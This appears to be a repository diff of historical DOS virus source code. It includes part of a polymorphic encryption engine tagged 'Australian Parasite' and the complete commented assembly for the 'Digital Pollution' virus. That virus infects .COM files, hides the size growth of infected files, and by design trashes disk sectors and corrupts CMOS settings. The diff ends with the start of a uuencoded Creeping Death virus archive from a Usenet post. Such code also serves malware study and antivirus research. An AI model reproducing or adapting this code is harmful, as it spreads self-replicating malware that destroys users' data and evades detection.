;dh = main data get\put register. one of 8 registers
|
||||
|
||||
l1:
|
||||
call poly_rand_byte
|
||||
and al,0111xb
|
||||
mov dl,al
|
||||
cmp dh,dl
|
||||
je l1
|
||||
;dl = encryption register. one of 7 registers
|
||||
|
||||
l1:
|
||||
; DH AL
|
||||
; 0000 AL 0000 AX a# = 0000 or 0100 so it == 00
|
||||
; 0001 CL 0001 BX
|
||||
; 0010 DL 0010 CX ;notice in AX + CX that bottom bit is off
|
||||
; 0011 BL 0011 DX ;and in AL+CL the second bit is off
|
||||
; 0100 AH
|
||||
; 0101 CH
|
||||
; 0110 DH
|
||||
; 0111 BH
|
||||
|
||||
;convert byte reg to word reg
|
||||
call poly_rand_byte
|
||||
and al,0011xb ;DOES BOTTOM 2 BITS
|
||||
|
||||
mov ah,dh
|
||||
and ah,0011xb
|
||||
cmp ah,al
|
||||
je l1
|
||||
|
||||
mov ah,dl
|
||||
and ah,0011xb
|
||||
cmp ah,al
|
||||
je l1
|
||||
|
||||
shl dl,4
|
||||
or dl,al
|
||||
|
||||
;shl 1 and compare the two top bits
|
||||
;00 = AX = AL,AH
|
||||
;01 = CX = CL,CL
|
||||
;10 = DX = DL,DL
|
||||
;11 = BX = BL,BL
|
||||
|
||||
call poly_rand_byte
|
||||
and al,0001xb
|
||||
shl al,2
|
||||
or dl,al
|
||||
|
||||
call poly_rand_word
|
||||
aad
|
||||
and al,1
|
||||
shl al,3
|
||||
or dl,al
|
||||
|
||||
;dll = counter reg xxxx xx11 = reg
|
||||
;dll = reg or num, 1 = reg to reg xxxx x1xx = flag
|
||||
; 0 = reg to num
|
||||
;dll = data pointer xxxx 1xxx = Pointer reg SI or DI
|
||||
; 0 = SI
|
||||
; 1 = DI
|
||||
;dlh = encryption reg x111 xxxx = reg
|
||||
;dhl = getput reg xxxx x111 = reg
|
||||
|
||||
ret
|
||||
|
||||
|
||||
poly_get_byte:
|
||||
mov ah,dh
|
||||
and ah,0111xb
|
||||
shl ah,3
|
||||
add ah,4
|
||||
|
||||
test dl,01000xb
|
||||
je >l1
|
||||
add ah,1
|
||||
l1:
|
||||
mov al,08a
|
||||
stosw
|
||||
ret
|
||||
|
||||
poly_set_byte:
|
||||
mov ah,dh
|
||||
and ah,0111xb
|
||||
shl ah,3
|
||||
add ah,4
|
||||
|
||||
test dl,01000xb
|
||||
je >l1
|
||||
add ah,1
|
||||
l1:
|
||||
mov al,088
|
||||
stosw
|
||||
ret
|
||||
|
||||
poly_count_set:
|
||||
mov al,dl
|
||||
and al,0011xb
|
||||
add al,0b8
|
||||
stosb
|
||||
mov ax,w[bp-6]
|
||||
stosw
|
||||
mov w[bp-2],di ;Save delta
|
||||
ret
|
||||
|
||||
|
||||
poly_crypt_byte:
|
||||
;this the bash the databyte with the cryptreg\num
|
||||
;so its got to be a XOR #l\h, #l\h
|
||||
; or XOR #l\h, ##
|
||||
; or xor [#i], #l\h ;* never produced
|
||||
; or xor [#i], ## ;* never produced
|
||||
|
||||
test dl,0100xb
|
||||
jne >l1
|
||||
|
||||
;do reg to num conversions
|
||||
;crypt reg with number
|
||||
;do the xor #l\h, ##
|
||||
|
||||
call poly_rand_byte
|
||||
mov ah,al
|
||||
|
||||
mov al,dh
|
||||
and al,0111xb
|
||||
or al,al
|
||||
jne >l2
|
||||
|
||||
;its a straight al
|
||||
mov al,034
|
||||
stosw
|
||||
ret
|
||||
|
||||
l2:
|
||||
add al,0f0
|
||||
mov ah,080
|
||||
xchg al,ah
|
||||
stosw
|
||||
call poly_rand_word
|
||||
stosb
|
||||
jmp >l2
|
||||
|
||||
|
||||
l1:
|
||||
;bit is on, so do reg to reg conversions
|
||||
;crypt reg with random register
|
||||
mov bh,dh
|
||||
and bh,0111xb
|
||||
|
||||
mov al,dl
|
||||
shr al,4
|
||||
shl al,3
|
||||
add bh,al
|
||||
add bh,0c0
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
mov al,030
|
||||
stosw
|
||||
|
||||
;now fix the reg2reg rndnumber
|
||||
mov bx,di
|
||||
mov di,w[bp-8]
|
||||
mov ah,dl
|
||||
shr ah,4
|
||||
add ah,0b0
|
||||
call poly_rand_byte
|
||||
xchg al,ah
|
||||
stosw
|
||||
mov di,bx
|
||||
xchg al,ah
|
||||
|
||||
l2:
|
||||
;al = the cypher byte
|
||||
mov w[bp-8],ax
|
||||
ret
|
||||
|
||||
|
||||
poly_pointer_set:
|
||||
mov w[bp-14],di
|
||||
|
||||
mov al,0be
|
||||
test dl,001000xb
|
||||
je >l1
|
||||
|
||||
inc al
|
||||
|
||||
l1:
|
||||
stosb
|
||||
mov ax,w[bp-4]
|
||||
stosw
|
||||
ret
|
||||
|
||||
poly_inc_data:
|
||||
;data reg pointer is stored in
|
||||
;dh = xx1x 0 = si, 1 = di
|
||||
|
||||
xor ax,ax
|
||||
test dl,001000xb
|
||||
je >l1
|
||||
|
||||
inc ah
|
||||
|
||||
l1:
|
||||
call poly_rand_byte
|
||||
|
||||
test al,00010xb
|
||||
je >l1
|
||||
|
||||
add ah,046
|
||||
xchg al,ah
|
||||
stosb
|
||||
jmp >l2
|
||||
|
||||
l1:
|
||||
mov al,083
|
||||
add ah,0c6
|
||||
stosw
|
||||
mov al,1
|
||||
stosb
|
||||
|
||||
l2:
|
||||
ret
|
||||
|
||||
poly_dec_counter:
|
||||
;counter is stored in dll
|
||||
;counter is ALWAYS a WORD register
|
||||
mov ah,dl
|
||||
and ah,0011xb
|
||||
|
||||
call poly_rand_byte
|
||||
|
||||
test al,1
|
||||
jne >l1
|
||||
|
||||
;do DEC ##
|
||||
xchg al,ah
|
||||
add al,048
|
||||
jmp >l3
|
||||
|
||||
l1:
|
||||
;do SUB ##,1
|
||||
or ah,ah
|
||||
je >l1
|
||||
|
||||
mov al,083
|
||||
add ah,0e8
|
||||
stosw
|
||||
mov al,1
|
||||
jmp >l3
|
||||
|
||||
l1:
|
||||
mov ax,012d
|
||||
stosw
|
||||
mov al,0
|
||||
|
||||
l3:
|
||||
stosb
|
||||
|
||||
l2:
|
||||
ret
|
||||
|
||||
poly_calc_loop:
|
||||
;work it on a j statement
|
||||
|
||||
;loop while not 0 =
|
||||
; JNZ = 075
|
||||
; JG = 07F
|
||||
; JA = 077
|
||||
|
||||
mov bx,di
|
||||
sub bx,w[bp-2]
|
||||
|
||||
call poly_rand_byte
|
||||
and al,0011xb ;We onlt need 3 inst.....
|
||||
|
||||
xchg bl,bh
|
||||
mov bl,075
|
||||
dec al
|
||||
js >l1
|
||||
|
||||
mov bl,077
|
||||
dec al
|
||||
je >l1
|
||||
mov bl,07f
|
||||
|
||||
l1:
|
||||
xchg ax,bx
|
||||
not ah
|
||||
dec ah
|
||||
stosw
|
||||
ret
|
||||
|
||||
poly_flood_buffer:
|
||||
push si,ds,di
|
||||
mov cx,w[bp-6]
|
||||
|
||||
xor si,si
|
||||
mov ax,0162
|
||||
mov ds,ax
|
||||
rep movsb
|
||||
|
||||
pop di,ds,si
|
||||
ret
|
||||
|
||||
poly_rand_byte:
|
||||
mov w[bp-12],ax
|
||||
call poly_rand_word
|
||||
mov ah,b[bp-11]
|
||||
ret
|
||||
|
||||
poly_rand_word:
|
||||
push bx,cx,dx
|
||||
|
||||
in ax,040
|
||||
add ax,w[bp-10]
|
||||
mov bx,037
|
||||
mul bx
|
||||
mov bx,0127
|
||||
div bx
|
||||
add ax,dx
|
||||
add w[bp-10],ax
|
||||
|
||||
pop dx,cx,bx
|
||||
ret
|
||||
|
||||
JUMPS: DB 0E9
|
||||
HOST: DW 0000
|
||||
|
||||
OLD3: DB 0C3,0C3,0C3
|
||||
|
||||
MARKER: DB "Australian Parasite"
|
||||
MLEN EQU $ - MARKER
|
||||
|
||||
ENDV:
|
||||
BUFLEN EQU ENDV-0100
|
||||
|
||||
PARGS EQU ((BUFLEN/16)+2) * 2
|
||||
|
|
@ -0,0 +1,513 @@
|
|||
; VirusName : Digital Pollution
|
||||
; Origin : Sweden
|
||||
; Author : Raver
|
||||
; Group : Immortal Riot
|
||||
; Date : 25/07/94
|
||||
|
||||
; It's been a while since I released my last virus but here's a new one
|
||||
; anyway.
|
||||
;
|
||||
; It's a pretty simple resident non-overwriting .com-infector with
|
||||
; basic stealth function. Of course it restores time/date/attrib
|
||||
; and stuff like that. It hooks int 21h and infects on execute
|
||||
; and open (4b00h/3dh). If a "dir" command is executed it will hide
|
||||
; the new filesize of infected size by hooking 11h/12h (Find first/next
|
||||
; the FCB way). The comments is, I think, pretty OK and easy to follow.
|
||||
;
|
||||
; As we have started to make out viruses a bit more destructive I've
|
||||
; included some nuking routines. The virus hooks int 25h (read sector)
|
||||
; at install and every time it's called there is a 3 % chance that it
|
||||
; will execute a int 26h instead (write sector). It also includes a
|
||||
; routine to change the CMOS values for the HD/floppy. Every time an
|
||||
; infected file is executed it's 2 % chance that this will be activated
|
||||
; and if so the HD will be set to 20MB and the floppy to 360kb.
|
||||
; Though this can easily be restored it can cause the novice to do
|
||||
; some unpredictable things before he really detects the real error.
|
||||
; (like formating floppys or HD or call his hardware vendor :)
|
||||
; Also if it's the swedish national day (06/06) it will play some of
|
||||
; the swedish national antheme. It's completely undestructive but
|
||||
; what the phuck, it could be fun.
|
||||
|
||||
; At last some credits to Macaroni Ted 'cause I've borrowed the
|
||||
; play_song routine from his CyberCide Virus.
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; DIGITAL POLLUTION
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
cseg segment byte public 'code'
|
||||
assume cs:cseg, ds:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
vir_size equ end_of_virus-start_of_virus
|
||||
|
||||
start_of_virus:
|
||||
jmp entry_point
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Install code
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
install:
|
||||
|
||||
mov ax,7777h ;check if we're already in mem
|
||||
int 21h
|
||||
cmp ax,'iR' ;if so - jmp already_resident
|
||||
je already_resident
|
||||
|
||||
mov ah,2ah ;get data
|
||||
int 21h
|
||||
cmp dx,0606h ;if it's Sweden's national day
|
||||
jne dont_play ;play the national antheme
|
||||
call play_song
|
||||
dont_play:
|
||||
|
||||
mov ah,4ah ;get #of available paragraphs in bx
|
||||
mov bx,0ffffh
|
||||
int 21h
|
||||
|
||||
sub bx,(vir_size+15)/16+1 ;recalculate and
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
|
||||
mov ah,48h ;allocate enough mem for virus
|
||||
mov bx,(vir_size+15)/16
|
||||
int 21h
|
||||
jc already_resident ;exit if error
|
||||
|
||||
dec ax ;ax-1 = MCB
|
||||
mov es,ax
|
||||
mov word ptr es:[1],8 ;Mark DOS as owner
|
||||
|
||||
push ax ;save for later use
|
||||
|
||||
mov ax,3521h ;get interrupt vectors for 21, 25 & 26h
|
||||
int 21h
|
||||
mov word ptr ds:[OldInt21h],bx
|
||||
mov word ptr ds:[OldInt21h+2],es
|
||||
|
||||
mov al,25h
|
||||
int 21h
|
||||
mov word ptr ds:[old_int25h],bx
|
||||
mov word ptr ds:[old_int25h+2],es
|
||||
|
||||
inc al
|
||||
int 26h
|
||||
mov word ptr ds:[int26h],bx
|
||||
mov word ptr ds:[int26h+2],es
|
||||
|
||||
pop ax ;ax = MCB for allocated mem
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cld ;cld for movsw
|
||||
sub ax,0fh ;es:[100h] = start of allocated mem
|
||||
mov es,ax
|
||||
mov di,100h
|
||||
lea si,[bp+offset start_of_virus]
|
||||
mov cx,(vir_size+1)/2 ;copy entire virii to mem
|
||||
rep movsw ;this way keeps the original offsets
|
||||
;in the int handler
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov dx,offset new_int21h ;hook int21h to new_int21h
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
already_resident:
|
||||
mov di,100h ;restore the 3 first bytes to it's
|
||||
push cs ;original position
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
lea si,[bp+orgbuf]
|
||||
mov cx,3
|
||||
rep movsb
|
||||
|
||||
mov ah,2ch ;get time
|
||||
int 21h
|
||||
cmp dl,1 ;about 2% chance of a CMOS nuke
|
||||
ja exit
|
||||
call screw_cmos
|
||||
exit:
|
||||
mov ax,100h ;return control to original program
|
||||
jmp ax ;at cs:100h
|
||||
|
||||
orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes
|
||||
newbuf db 0e9h,00h,00h ;buffer to calculate a new entry
|
||||
;offset
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; new interrupt 21h handler
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
new_int21h:
|
||||
|
||||
cmp ax,7777h ;is it residency check??
|
||||
jne continue
|
||||
mov ax,'iR' ;if so return 'iR'
|
||||
iret
|
||||
continue:
|
||||
cmp ax,4b00h ;check for exec
|
||||
je infect
|
||||
check_open:
|
||||
cmp ah,3dh ;check for open
|
||||
jne check_dir
|
||||
jmp check_com ;if si check if .com file
|
||||
check_dir:
|
||||
cmp ah,11h ;is it a dir call??
|
||||
je hide_dir ;then do some FCB stealth
|
||||
cmp ah,12h
|
||||
je hide_dir
|
||||
jmp do_oldint21h
|
||||
|
||||
hide_dir: ;FCB stealth routine
|
||||
pushf ;simulate a int call with pushf
|
||||
push cs ;and cs, ip on the stack
|
||||
call do_oldint21h
|
||||
or al,al ;was the dir call successfull??
|
||||
jnz skip_dir ;if not skip it
|
||||
|
||||
push ax bx es ;preserve registers in use
|
||||
|
||||
mov ah,62h ;same as 51h - Get current PSP to es:bx
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h] ;is the PSP OK??
|
||||
jnz bad_psp ;if not quit
|
||||
|
||||
mov bx,dx
|
||||
mov al,[bx] ;al holds current drive - FFh means
|
||||
push ax ;extended FCB
|
||||
mov ah,2fh ;get DTA-area
|
||||
int 21h
|
||||
pop ax
|
||||
inc al ;is it an extended FCB
|
||||
jnz no_ext
|
||||
add bx,7 ;if so add 7
|
||||
no_ext:
|
||||
mov al,byte ptr es:[bx+17h] ;get seconds field
|
||||
and al,1fh
|
||||
xor al,1dh ;is the file infected??
|
||||
jnz no_stealth ;if not - don't hide size
|
||||
|
||||
cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
|
||||
jbe no_stealth ;as an infected is smaller -
|
||||
sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
|
||||
sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from
|
||||
no_stealth: ;dir entry
|
||||
bad_psp:
|
||||
pop es bx ax ;restore regs
|
||||
skip_dir:
|
||||
iret
|
||||
|
||||
|
||||
infect: ;.com file infection routine
|
||||
push es bp ax bx cx si di ds dx ;preserve registers in use
|
||||
|
||||
mov ax,4300h ;get attrib
|
||||
int 21h
|
||||
push cx ;save attrib
|
||||
mov ax,4301h ;clear attrib
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ;open file
|
||||
pushf ;we can't have a standard int 21h
|
||||
push cs ;call here as we would get caught
|
||||
call do_oldint21h ;in a infinite loop at open calls
|
||||
|
||||
xchg ax,bx ;bx = file handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,5700h ;get time/date
|
||||
int 21h
|
||||
push dx ;push date/time for later use
|
||||
push cx
|
||||
and cl,1fh ;check if infected (if seconds is 29)
|
||||
xor cl,1dh
|
||||
je skip_infect
|
||||
|
||||
mov ah,3fh ;read three bytes
|
||||
mov cx,3
|
||||
mov dx,offset ds:orgbuf
|
||||
int 21h
|
||||
|
||||
|
||||
cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file
|
||||
je skip_infect
|
||||
cmp word ptr ds:orgbuf,'MZ'
|
||||
je skip_infect ;if so - don't infect
|
||||
|
||||
|
||||
mov ax,4202h ;go eof
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
add ax,offset entry_point-106h ;calculate entry offset to jmp
|
||||
mov word ptr ds:newbuf[1],ax ;move it to newbuf
|
||||
|
||||
mov ah,2ch ;get random number and put enc_val
|
||||
int 21h
|
||||
mov word ptr ds:enc_val,dx
|
||||
mov ax,08d00h ;copy entire virus to 8d00h:100h
|
||||
mov es,ax
|
||||
mov di,100h
|
||||
mov si,di
|
||||
mov cx,(vir_size+1)/2
|
||||
rep movsw
|
||||
push es
|
||||
pop ds
|
||||
xor bp,bp ;and encrypt it there
|
||||
call encrypt_decrypt
|
||||
|
||||
|
||||
|
||||
mov ah,40h ;write virus to file from position
|
||||
mov cx,end_of_virus-install ;08d00h:100h
|
||||
mov dx,offset install
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,4200h ;go sof
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write 3 start bytes
|
||||
mov cx,3
|
||||
mov dx,offset newbuf
|
||||
int 21h
|
||||
|
||||
skip_infect:
|
||||
mov ax,5701h ;restore time/date and mark it infected
|
||||
pop cx
|
||||
pop dx
|
||||
or cl,00011101b
|
||||
and cl,11111101b
|
||||
int 21h
|
||||
|
||||
;skip_infect:
|
||||
mov ah,3eh ;close the file
|
||||
int 21h
|
||||
|
||||
pop cx ;get old attrib in cx
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax,4301h ;and put it right
|
||||
int 21h
|
||||
|
||||
pop di si cx bx ax bp es ;restore registers
|
||||
|
||||
do_oldint21h:
|
||||
db 0eah ;jmp to original int21h handler
|
||||
OldInt21h dd 0
|
||||
|
||||
check_com: ;routine to check if a file has the
|
||||
push di es cx ax ;extension .com
|
||||
push ds
|
||||
pop es
|
||||
mov cx,64
|
||||
mov di,dx
|
||||
mov al,'.'
|
||||
repne scasb ;search for the '.' location
|
||||
|
||||
pop ax cx es
|
||||
|
||||
cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM
|
||||
jne break
|
||||
cmp byte ptr ds:[di+2],'M'
|
||||
jne break
|
||||
pop di
|
||||
jmp infect ;if the match - infect the file
|
||||
break:
|
||||
pop di
|
||||
jmp short do_oldint21h
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; new interrupt 25h handler
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
new_int25h:
|
||||
|
||||
push dx
|
||||
cmp al,2 ;check for c: and above
|
||||
jb do_int25h
|
||||
push cx ax
|
||||
|
||||
mov ah,2ch ;get random number
|
||||
int 21h
|
||||
pop ax cx
|
||||
cmp dl,2 ;3% chance of a int 26 nuke
|
||||
ja do_int25h
|
||||
|
||||
trash:
|
||||
pop dx
|
||||
db 0eah ;trash cx # of sectors by jumping
|
||||
int26h dd 0 ;to int26h handler
|
||||
|
||||
do_int25h:
|
||||
pop dx
|
||||
db 0eah ;lucky victim - a standard int25h call
|
||||
old_int25h dd 0
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; CMOS nuking routine
|
||||
;
|
||||
; This routine changes the floppy alternative in CMOS to a 360kb floppy
|
||||
; or the hd to a 20 MB
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
screw_cmos:
|
||||
|
||||
or dl,dl ;if dl = 0 nuke CMOS floppy
|
||||
jne floppy
|
||||
mov cl,19h ;else nuke CMOS hd
|
||||
jmp short get_crc
|
||||
floppy:
|
||||
mov cl,10h
|
||||
|
||||
get_crc: ;get CMOS crc checksum
|
||||
mov ax,2eh ;get most significant byte
|
||||
out 70h,al ;and store in dh
|
||||
in al,71h
|
||||
xchg dh,al
|
||||
mov al,2fh ;get least significant byte
|
||||
out 70h,al ;and store in dl
|
||||
in al,71h
|
||||
xchg dl,al ;dx holds crc checksum
|
||||
|
||||
mov al,cl ;cl = function (10h=floopy, 19h=hd)
|
||||
out 70h,al
|
||||
in al,71h ;get current value in al
|
||||
sub dx,ax ;and subtract from checksum
|
||||
add dx,10h ;add new value to checksum
|
||||
|
||||
mov al,cl
|
||||
out 70h,al
|
||||
mov al,10h
|
||||
out 71h,al ;put new value in CMOS
|
||||
|
||||
mov al,2eh ;put back new crc checksum
|
||||
out 70h,al
|
||||
xchg dh,al
|
||||
out 71h,al ;least signigicant byte
|
||||
mov al,2fh
|
||||
out 70h,al
|
||||
xchg dl,al
|
||||
out 71h,al ;most significant byte
|
||||
|
||||
ret ;done!
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Swedish national anthem routine
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
play_song:
|
||||
|
||||
lea si,[bp+tune]
|
||||
next_note: ;loop through the tune at ds:si
|
||||
lodsw ;until ds:si = 0
|
||||
or ax,ax
|
||||
je eot
|
||||
mov di,ax
|
||||
play:
|
||||
mov al,0b6h
|
||||
out 43h,al
|
||||
mov dx,12h
|
||||
mov ax,3280h
|
||||
div di
|
||||
out 42h,al
|
||||
mov al,ah
|
||||
out 42h,al
|
||||
|
||||
in al,61h
|
||||
mov ah,al
|
||||
or al,3
|
||||
out 61h,al
|
||||
|
||||
lodsw
|
||||
mov cx,ax
|
||||
delay:
|
||||
push cx
|
||||
mov cx,2700
|
||||
loop $
|
||||
pop cx
|
||||
loop delay
|
||||
|
||||
out 61h,al
|
||||
|
||||
jmp next_note
|
||||
eot:
|
||||
xor al,al ;kill the sound
|
||||
out 61h,al
|
||||
|
||||
ret
|
||||
|
||||
tune dw 370,600 ;data for the tune
|
||||
dw 370,1200
|
||||
dw 294,600
|
||||
dw 294,600
|
||||
dw 294,1200
|
||||
dw 330,600
|
||||
dw 370,600
|
||||
dw 370,1200
|
||||
dw 330,600
|
||||
dw 294,600
|
||||
dw 277,1800
|
||||
dw 330,600
|
||||
dw 330,1200
|
||||
dw 277,600
|
||||
dw 294,600
|
||||
dw 330,600
|
||||
dw 277,600
|
||||
dw 370,600
|
||||
dw 294,600
|
||||
dw 247,2400
|
||||
dw 220,1200
|
||||
dw 0
|
||||
|
||||
dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; En/de-cryption routine and entry point - unencrypted code
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
encrypt_decrypt:
|
||||
mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax
|
||||
lea di,[bp+install] ;di points to start of crypt
|
||||
mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc.
|
||||
xor_loopy:
|
||||
xor word ptr ds:[di],ax ;a simple xor loop to fullfill
|
||||
inc di ;the task
|
||||
inc di
|
||||
loop xor_loopy
|
||||
ret
|
||||
enc_val dw 0
|
||||
|
||||
|
||||
entry_point:
|
||||
mov sp,102h ;some alternative way to pop
|
||||
call get_bp ;we don't want TBAV to flag
|
||||
get_bp: ;a flexible entry point
|
||||
mov bp,word ptr ds:[100h]
|
||||
mov sp,0fffeh
|
||||
sub bp,offset get_bp
|
||||
|
||||
call encrypt_decrypt ;decrypt the virus
|
||||
jmp install ;jmp to install code
|
||||
|
||||
end_of_virus:
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; end of virus
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
cseg ends
|
||||
|
||||
end start_of_virus
|
|
@ -0,0 +1,193 @@
|
|||
From smtp Tue Feb 7 12:40 EST 1995
|
||||
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 12:40 EST
|
||||
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
|
||||
id MAA20511 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 12:43:16 -0500
|
||||
Date: Tue, 7 Feb 1995 12:43:16 -0500
|
||||
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
|
||||
Content-Length: 10475
|
||||
Content-Type: text
|
||||
Message-Id: <199502071743.MAA20511@lynx.dac.neu.edu>
|
||||
To: pobox.jwu.edu!joshuaw
|
||||
Subject: (fwd) Creeping Death (dir-2)
|
||||
Newsgroups: alt.comp.virus
|
||||
Status: O
|
||||
|
||||
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!howland.reston.ans.net!pipex!uunet!uunet.ca!uunet.ca!io.org!wink.io.org!cwalker
|
||||
From: cwalker@wink.io.org (Chad Walker)
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Creeping Death (dir-2)
|
||||
Date: 3 Feb 1995 11:11:59 GMT
|
||||
Organization: Internex Online, Toronto, Ontario, Canada (416 363 3783)
|
||||
Lines: 161
|
||||
Message-ID: <3gt31v$sm5@ionews.io.org>
|
||||
NNTP-Posting-Host: wink.io.org
|
||||
X-Newsreader: TIN [version 1.2 PL2]
|
||||
|
||||
begin 664 dir2.zip
|
||||
M4$L#!!0````(`*JU/QZQ):7O)1L``+EU```(````9&ER,BYA<VVM7>MST\B6
|
||||
M_TX5_T-/]@.A$&`["01[N2PD84@M$#9A[F3O%)62I78LD"5?/?*8?W[W/%I2
|
||||
M2RVU-&+\P1!;.CK=?1Z_\^CV0AR[R0_Q-KJ6X:-4>/%F(Z,LG8M3D6[A?V)S
|
||||
M+^"?()'BUOT11-=B'>=)*L(XIK_<3&3K(!4W09*GSQX^6(B.URG<<B-%D#V#
|
||||
M_V<";@'*8;"2^+>XC9-T'6R!EA1^$M"%%F)!M))>EL*M7]T?4KC$#O)"Y#_*
|
||||
M3$0QL9XE<;X,92J6TDI.W+A!!+?^OKX7?N`#1WY,`WN#W*6NEP2KP),%SV(5
|
||||
M)Q9Z.(JEC.0JR$2\$ON3#_(.A[D2]W$.E*-'F4BDZ],3'''Z:&,A=AU'D0OO
|
||||
